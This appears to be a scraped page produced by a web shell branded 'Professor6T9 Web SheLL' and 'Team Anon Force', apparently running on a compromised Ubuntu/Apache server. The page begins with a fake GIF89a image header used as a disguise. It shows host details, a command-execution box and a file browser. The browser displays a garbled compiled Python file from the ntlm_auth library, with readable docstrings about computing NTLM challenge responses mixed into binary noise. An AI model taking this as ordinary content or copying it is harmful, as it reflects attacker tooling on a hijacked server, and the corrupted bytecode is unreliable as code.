GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
ntlm_auth
/
__pycache__
[ HOME ]
Exec
Submit
File Name : compute_response.cpython-310.pyc
o ��Y]wO � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlmZ d dl mZ d dl Zd dlmZ d dlmZmZmZ d dlmZ G dd� d�Zdd� ZdS ) � N)�DES)�AvId�AvFlags�NegotiateFlags)�GssChannelBindingsStructc @ s� e Zd Zdd� Zdd� Z ddd�Zedd � �Zed d� �Zedd � �Z edd� �Z edd� �Zedd� �Zedd� �Z edd� �ZdS )�ComputeResponsec C sF || _ || _|| _|| _|j| _|j| _|j| _ || _ t�d�| _ dS )a� Constructor for the response computations. This class will compute the various nt and lm challenge responses. :param user_name: The user name of the user we are trying to authenticate with :param password: The password of the user we are trying to authenticate with :param domain_name: The domain name of the user account we are authenticated with, default is None :param challenge_message: A ChallengeMessage object that was received from the server after the negotiate_message :param ntlm_compatibility: The Lan Manager Compatibility Level, used to determine what NTLM auth version to use, see Ntlm in ntlm.py for more details � N)� _user_name� _password�_domain_nameZ_challenge_messageZnegotiate_flags�_negotiate_flags�server_challenge�_server_challenge�target_info�_server_target_info�_ntlm_compatibility�os�urandom�_client_challenge)�self� user_name�password�domain_nameZchallenge_messageZntlm_compatibility� r �</usr/lib/python3/dist-packages/ntlm_auth/compute_response.py�__init__ s zComputeResponse.__init__c C s� | j tj@ r| jdk r| �| j�}|S d| j krdkr*n n | �| j| j�}|S | jdkr;| � | j| j�\}}|S | � | j| j| j| j| j�}| j dur[| j tj }|dur[d}|S )am [MS-NLMP] v28.0 2016-07-14 3.3.1 - NTLM v1 Authentication 3.3.2 - NTLM v2 Authentication This method returns the LmChallengeResponse key based on the ntlm_compatibility chosen and the target_info supplied by the CHALLENGE_MESSAGE. It is quite different from what is set in the document as it combines the NTLMv1, NTLM2 and NTLMv2 methods into one and calls separate methods based on the ntlm_compatibility flag chosen. :return: response (LmChallengeResponse) - The LM response to the server challenge. Computed by the client � r � � Ns )r r �*NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYr �(_get_LMv1_with_session_security_responser �_get_LMv1_responser r �_get_NTLMv1_response�_get_LMv2_responser r r r �MSV_AV_TIMESTAMP)r �responseZ ignore_key� timestampr r r �get_lm_challenge_response3 s@ ����� ����� �z)ComputeResponse.get_lm_challenge_responseNc C s� | j tj@ r+| jdk r+| �| j| j| j�\}}t� | j�}t �| j || j||�}d}n�d| j kr6dk rVn n| �| j| j�\}}t� | j�}t �| j || j||�}d}nj| j du ratj�� }n| j }|tj du rot� } n|tj } t�dtj�|tj<